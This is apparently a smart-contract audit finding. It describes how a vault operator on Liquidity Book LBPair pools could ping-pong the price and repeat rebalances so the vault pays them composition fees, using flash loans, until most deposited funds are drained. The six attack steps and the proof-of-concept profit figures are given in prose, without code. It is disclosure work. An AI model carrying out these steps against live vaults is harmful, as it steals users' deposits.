## Summary By ping ponging the price, operators can cause the vault to pay them fees, which, if done hundreds of times, drains most of the funds in the vault. ## Finding Description Every time liquidity is added to the current active ID in LBPair, whoever adds it has to pay composition fees. These fees are sent to two receivers: the protocol and the LP. These vary depending on the pair but in general for LBPairs, 25% goes to protocol and 75% to LPs. The amount of fees to be paid depends on both the imbalance added and the size of funds currently available in the tick. These fees are paid every time someone adds liquidity in the active range in disproportional amounts. For example, if the current active ID has a balanced amount of funds, and someone adds 20% in tokenX and 80% in tokenY to the LP, they'll need to pay it. If the operator is providing liquidity in the current active ID and the subsequent one (either higher or lower works), he can force the vault to pay him composition fees by rebalancing disproportional amounts. By repeating this process they'll be able to drain the majority of the funds deposited in the vault. The attack would go as followed: 1. Add liquidity to the current ID, until you own most of it 2. Call rebalance and make the vault pay you the composition fee. 3. Call rebalance again, removing the liquidity from the vault 4. Provide liquidity to the next bin. 5. Buy enough tokens to move price by 1 bin. It's critical operators own most of the liquidity in the 2 IDs in order to not overpay others 6. Add liquidity to the new active price ID. The vault will pay you a fee again. The operator doesn't necessarily has to own all liquidity for this operation to be profitable, but they must own a significant sum, as the fees are paid to everyone providing the current range. Operators can use flash loans to reduce the amount of loops required as well. ## Impact Explanation High, most funds can be stolen. ## Likelihood Explanation High, operators only need to own most of the liquidity in the current active bin. With flash borrows, they could do this without having many funds. They could also theoretically move the price to a bin with lower liquidity if the operation is profitable enough. ## Proof of Concept This PoC shows how a vault with 100k USD divided in USDC and AVAX in user deposits, the operator can go through the series of rebalances and liquidity provisions to profit ~150 USDC or 0.15% of user funds. At 0.15% profit per execution, the operator would have to loop this around 500 times to drain about 47% of funds. On networks such as sonic, gas costs are negligible and the block gas limit is 1 million, giving them plenty of space to reproduce this attack. The funds the operator earns do not come from the AUM fee as all these operations happen in the same block timestamp.
